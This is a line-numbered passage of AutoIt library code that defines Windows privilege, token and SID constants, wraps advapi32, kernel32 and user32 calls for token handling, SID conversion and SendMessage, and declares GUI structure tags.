  3456. Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
  3457. Global Const $se_systemtime_name = "SeSystemtimePrivilege"
  3458. Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
  3459. Global Const $se_tcb_name = "SeTcbPrivilege"
  3460. Global Const $se_time_zone_name = "SeTimeZonePrivilege"
  3461. Global Const $se_trusted_credman_access_name = "SeTrustedCredManAccessPrivilege"
  3462. Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
  3463. Global Const $se_undock_name = "SeUndockPrivilege"
  3464. Global Const $se_privilege_enabled_by_default = 1
  3465. Global Const $se_privilege_enabled = 2
  3466. Global Const $se_privilege_removed = 4
  3467. Global Const $se_privilege_used_for_access = -2147483648
  3468. Global Const $se_group_mandatory = 1
  3469. Global Const $se_group_enabled_by_default = 2
  3470. Global Const $se_group_enabled = 4
  3471. Global Const $se_group_owner = 8
  3472. Global Const $se_group_use_for_deny_only = 16
  3473. Global Const $se_group_integrity = 32
  3474. Global Const $se_group_integrity_enabled = 64
  3475. Global Const $se_group_resource = 536870912
  3476. Global Const $se_group_logon_id = -1073741824
  3477. Global Enum $tokenprimary = 1, $tokenimpersonation
  3478. Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
  3479. Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
  3480. Global Const $token_assign_primary = 1
  3481. Global Const $token_duplicate = 2
  3482. Global Const $token_impersonate = 4
  3483. Global Const $token_query = 8
  3484. Global Const $token_query_source = 16
  3485. Global Const $token_adjust_privileges = 32
  3486. Global Const $token_adjust_groups = 64
  3487. Global Const $token_adjust_default = 128
  3488. Global Const $token_adjust_sessionid = 256
  3489. Global Const $token_all_access = 983551
  3490. Global Const $token_read = 131080
  3491. Global Const $token_write = 131296
  3492. Global Const $token_execute = 131072
  3493. Global Const $token_has_traverse_privilege = 1
  3494. Global Const $token_has_backup_privilege = 2
  3495. Global Const $token_has_restore_privilege = 4
  3496. Global Const $token_has_admin_group = 8
  3497. Global Const $token_is_restricted = 16
  3498. Global Const $token_session_not_referenced = 32
  3499. Global Const $token_sandbox_inert = 64
  3500. Global Const $token_has_impersonate_privilege = 128
  3501. Global Const $rights_delete = 65536
  3502. Global Const $read_control = 131072
  3503. Global Const $write_dac = 262144
  3504. Global Const $write_owner = 524288
  3505. Global Const $synchronize = 1048576
  3506. Global Const $access_system_security = 16777216
  3507. Global Const $standard_rights_required = 983040
  3508. Global Const $standard_rights_read = $read_control
  3509. Global Const $standard_rights_write = $read_control
  3510. Global Const $standard_rights_execute = $read_control
  3511. Global Const $standard_rights_all = 2031616
  3512. Global Const $specific_rights_all = 65535
  3513. Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
  3514. Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
  3515. Global Const $logon_with_profile = 1
  3516. Global Const $logon_netcredentials_only = 2
  3517. Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
  3518. Global Const $sid_administrators = "S-1-5-32-544"
  3519. Global Const $sid_users = "S-1-5-32-545"
  3520. Global Const $sid_guests = "S-1-5-32-546"
  3521. Global Const $sid_account_operators = "S-1-5-32-548"
  3522. Global Const $sid_server_operators = "S-1-5-32-549"
  3523. Global Const $sid_print_operators = "S-1-5-32-550"
  3524. Global Const $sid_backup_operators = "S-1-5-32-551"
  3525. Global Const $sid_replicator = "S-1-5-32-552"
  3526. Global Const $sid_owner = "S-1-3-0"
  3527. Global Const $sid_everyone = "S-1-1-0"
  3528. Global Const $sid_network = "S-1-5-2"
  3529. Global Const $sid_interactive = "S-1-5-4"
  3530. Global Const $sid_system = "S-1-5-18"
  3531. Global Const $sid_authenticated_users = "S-1-5-11"
  3532. Global Const $sid_schannel_authentication = "S-1-5-64-14"
  3533. Global Const $sid_digest_authentication = "S-1-5-64-21"
  3534. Global Const $sid_nt_service = "S-1-5-80"
  3535. Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
  3536. Global Const $sid_low_mandatory_level = "S-1-16-4096"
  3537. Global Const $sid_medium_mandatory_level = "S-1-16-8192"
  3538. Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
  3539. Global Const $sid_high_mandatory_level = "S-1-16-12288"
  3540. Global Const $sid_system_mandatory_level = "S-1-16-16384"
  3541. Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
  3542. Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
  3543. Global Const $sid_all_services = "S-1-5-80-0"
  3544.  
  3545. Func _winapi_getlasterror($ierror = @error, $iextended = @extended)
  3546. Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  3547. Return SetError($ierror, $iextended, $aresult[0])
  3548. EndFunc
  3549.  
  3550. Func _winapi_setlasterror($ierrorcode, $ierror = @error, $iextended = @extended)
  3551. DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
  3552. Return SetError($ierror, $iextended, NULL )
  3553. EndFunc
  3554.  
  3555. Func _security__adjusttokenprivileges($htoken, $bdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
  3556. Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $bdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
  3557. If @error Then Return SetError(@error, @extended, False)
  3558. Return NOT ($acall[0] = 0)
  3559. EndFunc
  3560.  
  3561. Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
  3562. Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
  3563. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False)
  3564. Return True
  3565. EndFunc
  3566.  
  3567. Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
  3568. Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
  3569. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3570. Return $acall[6]
  3571. EndFunc
  3572.  
  3573. Func _security__getaccountsid($saccount, $ssystem = "")
  3574. Local $aacct = _security__lookupaccountname($saccount, $ssystem)
  3575. If @error Then Return SetError(@error, @extended, 0)
  3576. If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
  3577. Return ""
  3578. EndFunc
  3579.  
  3580. Func _security__getlengthsid($psid)
  3581. If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0)
  3582. Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
  3583. If @error Then Return SetError(@error, @extended, 0)
  3584. Return $acall[0]
  3585. EndFunc
  3586.  
  3587. Func _security__gettokeninformation($htoken, $iclass)
  3588. Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
  3589. If @error OR NOT $acall[5] Then Return SetError(@error + 10, @extended, 0)
  3590. Local $ilen = $acall[5]
  3591. Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
  3592. $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
  3593. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3594. Return $tbuffer
  3595. EndFunc
  3596.  
  3597. Func _security__impersonateself($ilevel = $securityimpersonation)
  3598. Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
  3599. If @error Then Return SetError(@error, @extended, False)
  3600. Return NOT ($acall[0] = 0)
  3601. EndFunc
  3602.  
  3603. Func _security__isvalidsid($psid)
  3604. Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
  3605. If @error Then Return SetError(@error, @extended, False)
  3606. Return NOT ($acall[0] = 0)
  3607. EndFunc
  3608.  
  3609. Func _security__lookupaccountname($saccount, $ssystem = "")
  3610. Local $tdata = DllStructCreate("byte SID[256]")
  3611. Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
  3612. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3613. Local $aacct[3]
  3614. $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
  3615. $aacct[1] = $acall[5]
  3616. $aacct[2] = $acall[7]
  3617. Return $aacct
  3618. EndFunc
  3619.  
  3620. Func _security__lookupaccountsid($vsid, $ssystem = "")
  3621. Local $psid, $aacct[3]
  3622. If IsString($vsid) Then
  3623. $psid = _security__stringsidtosid($vsid)
  3624. Else
  3625. $psid = $vsid
  3626. EndIf
  3627. If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0)
  3628. Local $stypesystem = "ptr"
  3629. If $ssystem Then $stypesystem = "wstr"
  3630. Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $stypesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
  3631. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3632. Local $aacct[3]
  3633. $aacct[0] = $acall[3]
  3634. $aacct[1] = $acall[5]
  3635. $aacct[2] = $acall[7]
  3636. Return $aacct
  3637. EndFunc
  3638.  
  3639. Func _security__lookupprivilegevalue($ssystem, $sname)
  3640. Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
  3641. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3642. Return $acall[3]
  3643. EndFunc
  3644.  
  3645. Func _security__openprocesstoken($hprocess, $iaccess)
  3646. Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
  3647. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3648. Return $acall[3]
  3649. EndFunc
  3650.  
  3651. Func _security__openthreadtoken($iaccess, $hthread = 0, $bopenasself = False)
  3652. If $hthread = 0 Then
  3653. Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  3654. If @error Then Return SetError(@error + 10, @extended, 0)
  3655. $hthread = $aresult[0]
  3656. EndIf
  3657. Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $bopenasself, "handle*", 0)
  3658. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3659. Return $acall[4]
  3660. EndFunc
  3661.  
  3662. Func _security__openthreadtokenex($iaccess, $hthread = 0, $bopenasself = False)
  3663. Local $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself)
  3664. If $htoken = 0 Then
  3665. Local Const $error_no_token = 1008
  3666. If _winapi_getlasterror() <> $error_no_token Then Return SetError(20, _winapi_getlasterror(), 0)
  3667. If NOT _security__impersonateself() Then Return SetError(@error + 10, _winapi_getlasterror(), 0)
  3668. $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself)
  3669. If $htoken = 0 Then Return SetError(@error, _winapi_getlasterror(), 0)
  3670. EndIf
  3671. Return $htoken
  3672. EndFunc
  3673.  
  3674. Func _security__setprivilege($htoken, $sprivilege, $benable)
  3675. Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
  3676. If $iluid = 0 Then Return SetError(@error + 10, @extended, False)
  3677. Local Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  3678. Local $tcurrstate = DllStructCreate($tagtoken_privileges)
  3679. Local $icurrstate = DllStructGetSize($tcurrstate)
  3680. Local $tprevstate = DllStructCreate($tagtoken_privileges)
  3681. Local $iprevstate = DllStructGetSize($tprevstate)
  3682. Local $trequired = DllStructCreate("int Data")
  3683. DllStructSetData($tcurrstate, "Count", 1)
  3684. DllStructSetData($tcurrstate, "LUID", $iluid)
  3685. If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
  3686. DllStructSetData($tprevstate, "Count", 1)
  3687. DllStructSetData($tprevstate, "LUID", $iluid)
  3688. Local $iattributes = DllStructGetData($tprevstate, "Attributes")
  3689. If $benable Then
  3690. $iattributes = BitOR($iattributes, $se_privilege_enabled)
  3691. Else
  3692. $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
  3693. EndIf
  3694. DllStructSetData($tprevstate, "Attributes", $iattributes)
  3695. If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
  3696. Return True
  3697. EndFunc
  3698.  
  3699. Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
  3700. Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
  3701. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False)
  3702. Return True
  3703. EndFunc
  3704.  
  3705. Func _security__sidtostringsid($psid)
  3706. If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, 0, "")
  3707. Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
  3708. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, "")
  3709. Local $pstringsid = $acall[2]
  3710. Local $alen = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $pstringsid)
  3711. Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & $alen[0] + 1 & "]", $pstringsid), "Text")
  3712. DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pstringsid)
  3713. Return $ssid
  3714. EndFunc
  3715.  
  3716. Func _security__sidtypestr($itype)
  3717. Switch $itype
  3718. Case $sidtypeuser
  3719. Return "User"
  3720. Case $sidtypegroup
  3721. Return "Group"
  3722. Case $sidtypedomain
  3723. Return "Domain"
  3724. Case $sidtypealias
  3725. Return "Alias"
  3726. Case $sidtypewellknowngroup
  3727. Return "Well Known Group"
  3728. Case $sidtypedeletedaccount
  3729. Return "Deleted Account"
  3730. Case $sidtypeinvalid
  3731. Return "Invalid"
  3732. Case $sidtypeunknown
  3733. Return "Unknown Type"
  3734. Case $sidtypecomputer
  3735. Return "Computer"
  3736. Case $sidtypelabel
  3737. Return "A mandatory integrity label SID"
  3738. Case Else
  3739. Return "Unknown SID Type"
  3740. EndSwitch
  3741. EndFunc
  3742.  
  3743. Func _security__stringsidtosid($ssid)
  3744. Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
  3745. If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  3746. Local $psid = $acall[2]
  3747. Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
  3748. Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
  3749. DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
  3750. DllCall("kernel32.dll", "handle", "LocalFree", "handle", $psid)
  3751. Return $tsid
  3752. EndFunc
  3753.  
  3754. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  3755. Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  3756. If @error Then Return SetError(@error, @extended, "")
  3757. If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  3758. Return $aresult
  3759. EndFunc
  3760.  
  3761. Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  3762. Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  3763. If @error Then Return SetError(@error, @extended, "")
  3764. If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  3765. Return $aresult
  3766. EndFunc
  3767.  
  3768. Global Const $tagpoint = "struct;long X;long Y;endstruct"
  3769. Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  3770. Global Const $tagsize = "struct;long X;long Y;endstruct"
  3771. Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  3772. Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
  3773. Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
  3774. Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
  3775. Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
  3776. Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  3777. Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
  3778. Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
  3779. Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  3780. Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  3781. Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
  3782. Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
  3783. Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
  3784. Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
  3785. Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
  3786. Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  3787. Global Const $taggdip_effectparams_blur = "float Radius; bool ExpandEdge"
  3788. Global Const $taggdip_effectparams_brightnesscontrast = "int BrightnessLevel; int ContrastLevel"
  3789. Global Const $taggdip_effectparams_colorbalance = "int CyanRed; int MagentaGreen; int YellowBlue"
  3790. Global Const $taggdip_effectparams_colorcurve = "int Adjustment; int Channel; int AdjustValue"
  3791. Global Const $taggdip_effectparams_colorlut = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]"
  3792. Global Const $taggdip_effectparams_huesaturationlightness = "int HueLevel; int SaturationLevel; int LightnessLevel"
  3793. Global Const $taggdip_effectparams_levels = "int Highlight; int Midtone; int Shadow"
  3794. Global Const $taggdip_effectparams_redeyecorrection = "uint NumberOfAreas; ptr Areas"
  3795. Global Const $taggdip_effectparams_sharpen = "float Radius; float Amount"
  3796. Global Const $taggdip_effectparams_tint = "int Hue; int Amount"
  3797. Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  3798. Global Const $taggdipcolormatrix = "float m[25]"
  3799. Global Const $taggdipencoderparam = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct"
  3800. Global Const $taggdipencoderparams = "uint Count;" & $taggdipencoderparam
  3801. Global Const $taggdiprectf = "struct;float X;float Y;float Width;float Height;endstruct"
  3802. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  3803. Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
  3804. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  3805. Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
  3806. Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  3807. Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  3808. Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
  3809. Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
  3810. Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
  3811. Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
  3812. Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
  3813. Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
  3814. Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
  3815. Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
  3816. Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
  3817. Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
  3818. Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
  3819. Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  3820. Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
  3821. Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  3822. Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
  3823. Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
  3824. Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  3825. Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  3826. Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  3827. Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
  3828. Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
  3829. Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
  3830. Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  3831. Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
  3832. Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
  3833. Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
  3834. Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
  3835. Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
  3836. Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  3837. Global Const $tagnmtvitemchange = $tagnmhdr & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;"
  3838. Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
  3839. Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  3840. Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
  3841. Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  3842. Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
  3843. Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  3844. Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  3845. Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVersion = "WIN_XP") ? "" : ";" & $tagrect & ";uint uChevronState")
  3846. Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  3847. Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
  3848. Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
  3849. Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
  3850. Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
  3851. Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
